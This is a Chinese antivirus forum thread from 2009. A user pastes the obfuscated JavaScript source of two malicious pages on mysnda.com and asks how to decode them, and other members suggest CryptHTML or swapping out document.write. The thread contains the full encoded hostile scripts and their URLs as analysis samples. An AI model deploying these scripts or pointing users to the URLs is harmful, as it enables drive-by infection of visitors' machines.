查看: 2326|回复: 4
收起左侧

[已鉴定] 請教解碼

[复制链接]
ryanking
发表于 2009-7-13 18:07:50 | 显示全部楼层 |阅读模式
請問各位前輩
以下這二個惡意的網址要怎麼解  用Freeshow or Redoce 的方法都可以
感謝大家


http://www.mysnda.com/x/cx.htm

<html><head><Meta Name=Encoder Content=405><noscript><iframe></iframe></noscript><script language="javascript"><!--
bK93="l\(a\(\-c0p",sW75="lz\*\(\(\(c\(";9.288526E-02,aL99=".4476437",bK93='yi\"DJw\~\>\.m\n\+S0MLne\r\^ux9\)\:\[pAfP\<62XU1\$4Tt\{Fb\/\|\?l\'\`\,CVs\&\_YB\-G\!\%3\\q\#jgN8\]R\ \(7z\@WHk\=cdKo\;QZr\*\}vaOhIE5',sW75='g\niUt\<ClF\&Zf\*6Yu\ \{VX\#c\)e1r\:7\;v\-oB2an0KP\>\.\]\!mwLIThRAbJq\$Oj\@\+Wp\=QydxEz\/3\|\_\?H8M\%N\~5\`\'\\s4\,G\"\^k\}DS9\r\(\[';function vW39(qH25){"l\-p\?\(ozo",l=qH25.length;'F\@4\[c4fI',w='';while(l--)"la0\(\-zc0",o=bK93.indexOf(qH25.charAt(l)),'FfIUU\@R\[',w=(o==-1?qH25.charAt(l):sW75.charAt(o))+w;"lo\(o\(z\?p",bK93=bK93.substring(1)+bK93.charAt(0),document.write(w);'FRc\@I\[\@Q'};vW39("wox\[\"\%Jn\>U1yLUy\)3BUPUox\[\"\%Jt\[l\:03A\:\=\]f\"OX\:3\:\:ff\ \>\"x\)1o\)\#\ J6\ 3r\`LqL\+\)1yrfw8ox\[\"\%Jt")//--></script><SCRIpT langUage=javAscriPT>vW39("");</ScRIPT><sCriPT LAngUAGe=jaVASCRiPT>vW39("\>Q\)AJ\\\~\rQA\)q\}\)NbGQ\}F\>RQ\)AJ\\\~F");</scriPt><sCRipt lAnguage=JaVAScripT>vW39("yJ");</Script><ScrIpT LaNguage=jAVAScrIPT>vW39("mr\[P\~\#\.urP\[ja4\|\[rra\/m\(r\[P\~\#\.\/");</sCRIpt><scriPt langUaGE=jAvasCript>vW39("\"\~\n\&m\`S\|\"\~\ny\+\_V\/sxSt\{wutwfgO3tUt\*p\<\>jmO\|\"\~\"\~\+umfNGg\]\$pu\`f\{m\?p\<ftmf\ Sf\`f\{mDO\$B3fpmOAX\"\~\+umfNG\?\*fmYmm\<\>BumfDOpSt\*\*\>\]OvxpumfGG\>\]RAX\"\~\"\~Ut\<x\ U\>S\+umfxgx\,\>\{\]\$\,JOu\{f\*ptjfOlDOdu\;\r\ \=duFFFFdu\;zFFdu\;\r\;\;du\=4\;2Oxq\"\~OduT\}\r\+du\=4P\=duz\+\}\;du\;\}\=4du2\=F\;du\ YFPdu\}Y\=4du\=4P\=duTF\;YOxq\"\~Odu\ 4FPduzT\ zdu\=4\}idu\=4z\}du\ \ FPdu00zPduzP0\+duY\+\+Fdu\ Fz\=Oxq\"\~OduF22\}du\+0\+PduFPF5du\ 4\+2duz40TduT\}2\+du2\;P\}du\=4\ PduT\}\;YOxq\"\~Odu\ 4FPdu\=4\r\rdu\}4F\+du\;Y\=4duFPP\+du\=4\ 4du\=4F\}du\ \=FPduFT\ 4Oxq\"\~Odu\+FzPdu\;\ \;0du\;4\;5duF\=\+Tdu\;\ FFduzF\rYdu\r\}\;iduPi\=4du\;4\=4Oxq\"\~Odu\=4F\+duP\+\;4duP4\=4du\;4\=4du\;zF\=du\=\ \r\=duF\ \}\ du00\ \+du\=i5\rOxq\"\~Odu\;z\+2du\=\ \r\=duF\ \}\ du00\ \+du\ 45\rdu\;Y\;Fdu00\;Tdu\=i5Fdu\;T\+TOxq\"\~Odu\;z\;TduYY\r\=duF50\+du002\+du\;Y5\rdu\}5\ 4du\;P\;idu00\;Tdu\ 45FOxq\"\~Odu\;Y2Tdu\;4\ 4du\rY\;idu\rYFFdu\;PFFdu\rY\;Tdu00FFdu\;z5FduYF\r\=Oxq\"\~Odu\+i5\;du00\}5du\;Y5\rdu00\;Tdu\;z5Fdui\=\r\=du\=Y0\ du00F\ du\ 45\rOxq\"\~Odu\;i\}\}duFF\rYdu00\;Pdu\;z5Fdu2\ \r\=du\ T5\=du002zdu\rY5\rdu00FFOxq\"\~Odu\ \=5Fdu00Y4du0000du2T2\;du\r5\r\+du\r\ \r0du\r\}T\ du\r\+\r\+du\ \=FFOxq\"\~Odu00Y\ du0000du\;T\;\;du\}\}\}\+du22\r0du\r\+\r\ du\rP\r0du\;\}\r\}du\}\r\r0Oxq\"\~Odu\r\+\ridu\}P\r\;du\ \=FFdu00YFdu0000duT\ T\ duFF\;\+du42\ \=du0000Oxq\"\~OduT\ 00du\;\+T\ du\ \=FFdu00\=idu0000OqYC5\#cS\(FAX\"\~\"\~\"\~\"\~pt\$pt\$\{DAX\"\~\"\~\n7\*p\<\>jm\|\"\~\n7\&m\`S\|")</script></head><body></body></html>




http://www.mysnda.com/x/newlz.htm

<html><head><Meta Name=Encoder Content=aaas><META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript><script language="javascript"><!--
gT59="\~ddWjjm",bA76="j\~DNWmdUO\!Jd";.1915441,tG83=".4946849",bA76='a\ 5\/6F\-\`XpQgb\!Z0l\"dc\*\^MKEk\&jvnx\$VUG\'4\+8CS2B\\\;yI\{e9\|mOHt\]7Y\,Jw\r1Dq\.L\_A\#W\~uhP\>z\(\)i\@\[\?\=\}ofsrTR\n\:\<3\%N',gT59='6wg\&\=\;F\+\)xdc\(H\-pBfV2\|R\ \[\\\'hm9ltJ\/\:4LOoqXzCUW\ns3\!G\@\}I1E\"\`\?Ak\]0\#KP5uj\>bMS7\.rN\^\_\~a\$yT8ev\,\{Z\%nQD\riY\<\*';function zW26(pB45){"\~\[JydDW",l=pB45.length;'jABUBU\;\&',w='';while(l--)"\~DJmJm\[d",o=gT59.indexOf(pB45.charAt(l)),'jXB\&\;oUo',w=(o==-1?pB45.charAt(l):bA76.charAt(o))+w;"\~ddUUWdy",gT59=gT59.substring(1)+gT59.charAt(0),document.write(w);'j\;\&A\<AoX'};zW26("iZ2\%\$x\"wB6lc\.6cGem696Z2\%\$x\"\^\{z\?\@eC\=p\?\n\$\{\~V\,2\.IGl\"u6BBa\!\{\.l2\"\$\,lw\>VI\~a\!\%G\"\.\%lw\{6BZGv\n\{\.l2\"\$\,lw\>IVI\~a\!V\,2\.IGl\"u\,l2\,l\"Gt\"IGl\.e\>VI\nZG\"n\$IG\,\.\"\~f\>IVI\~afkqppav\n\>IVI\~a\nvV\,2\.IGl\"u\,l2\,l\"Gt\"IGl\.elG0w\;\.l2\"\$\,l\~f\%G\"\.\%lw\{6BZGfa\n\{\.l2\"\$\,lw\>lVI\~Ga\!\$\{\~V\,2\.IGl\"uB6sG\%Z\}\}0\$lV\,0uZ\$VG\(6\%a\!\$\{\~Gu0r\$2rHeKa\%G\"\.\%lw\{6BZG\nvv\n\$\{\~V\,2\.IGl\"uB6sG\%Za\!V\,2\.IGl\"u26x\"\.\%G\\9Gl\"Z\~\\9Gl\"u\ 1\:z\\P1S\*a\nV\,2\.IGl\"u\,lI\,\.ZGV\,0le\>lVI\nvGBZG\!V\,2\.IGl\"u\,lI\,\.ZG\.xe\>lVI\nv\n\.\[O\?eYKq\n\'3KCeOYK\@\n\{\.l2\"\$\,lw\>V0Z\~a\!0\$lV\,0uZ\"6\"\.Zwewfwf\nZG\"n\$IG\,\.\"\~f\>V0Z\~afkKppa\nv\n\>V0Z\~a\n\%AC\=eY\?O\?\n5dqCeKK\?\@\n\{\.l2\"\$\,lw\>VVZ\~a\!\$\{\~V\,2\.IGl\"u6BBa\!V\,2\.IGl\"u\,lZGBG2\"Z\"6\%\"e\{\.l2\"\$\,lw\~a\!\%G\"\.\%lw\{6BZGv\nZG\"n\$IG\,\.\"\~f\>VVZ\~afk\?ppavv\n\>VVZ\~a\nxPOCeCYCC\n\%EgOe\?O\=Y\nrQ\=peYCK\n\"\)\?eKO\=K\nZ\[\=\=eC\=pO\n\$3YKe\=\=pg\nsnY\?e\@O\=Y\n\n\>B\$2GlZGV\>\"\,\>efr\.s\.\{Glcf\ni\&Z2\%\$x\"\^")//--></script><scRIPt lanGuagE=jAVASCrIpT>zW26("Y\{H9\@\|\`g\|fw\%\%y2vV\|f\%y2iF\}PA\&\<o5\+\&\<\&W\+oP\;W\+X\'XF\+BzBoA\&\;z\<PMXVgy2vO\`wn\(\@\`O\_Y\=\{H9\@\|\`\_K\r");</SCriPT><SCriPt lANGUage=JAvASCRIPt>zW26("\<nRQTc\?\&nQR\,2J\}KVa\>Rnn2\~\<\;nRQTc\?\~");</sCrIpT><sCrIpt lANguaGE=jAVascRIPT>zW26("5Y\*Q\ D8\(Aa5YIJ\&2yn\^\/\ A8\%\/y\(\#\&\#\ \#9\#I\#RT\}P\_82Iy\ xxT\}8ny9v\ kT\}\(\{\(bDI\(2\&\ Iy\/IP\=iI\-m\:\(yq33pqz\ zq33pq\#q\-qT\#9v\ kTZZDIA\^D\/\=\(Zyq1y\nb\]\*\;T\}\nz\{\nZuV\{\nbuuyV\#\;T\!u\{\nbuuyV\#\nb\]x\;T\!1yub\]z\;\*\n\;T\}u\{uzuzuVZu\n\{\nu\=\nVyT\!u6\{u\;yu\+bu\]yFu1FuC\#\|33\n\]33\nC\|TT\!6\+y6\{V\!6\*6C\!6zzT\}u\nv6k\{uzu6Z6V\=\+\{3q3q\!1y\+b\]\*6\nT\}\+z\{3q33X33X33X33X3qZ6\]v\|3366336u33\n133C33uX336\;33C336133uX33C33\n\+33\nX33\n\n\|ky\+\#\|\n6\|\#\|6X\|T\!q\#uV\#XV\#qEJ\ p\ JE\/\%\(E\:E\:V\&E\n\nXE\_I22\%\_\&\ 9E2I\/\-A\_E\:\]XEP\_82IEn822J\ p\ JEQ\^pQAD8\/\-E\&DD\&GREH\^\&RD\%c\)cE\:\+uE\^\/IQ\ \&\(IEQ\_I22\ \%RIEDI\(2\&\ IE\-Eo\&\"IE7DD\&GE\/IPE\:\+\;E\&\&\&pppp\ \ \ RRE\:\]\+EV\:XVVVVE\:\+1E\:\n\;E\:\]\;E\:\;6EJ\&DE\:X\;E\+VVE\:X1E2222222E\:\]\nEn\%DEA\&D\-IAE6VVE\:XIqbQ\(28AyqEqTTT5Y5Y5Y\*FQ\ D8\(Aa")</script></head><body><noscript><b><font color=red>407            </font></b></noscript></body></html>
shadowmin
发表于 2009-7-13 18:14:22 | 显示全部楼层
两个都是document.write清除
gtyre1
发表于 2009-7-13 18:26:53 | 显示全部楼层
按楼上的做吧
或者在线CryptHTML解密也可以
ryanking
 楼主| 发表于 2009-7-13 18:39:00 | 显示全部楼层
感謝二位指導
我用 CryptHTML 可以處理了
感謝
qigang
发表于 2009-7-13 21:18:16 | 显示全部楼层

document.write

解密稍微比eval麻烦点,但现在工具先进,分不出了。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-13 01:01 , Processed in 0.121746 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表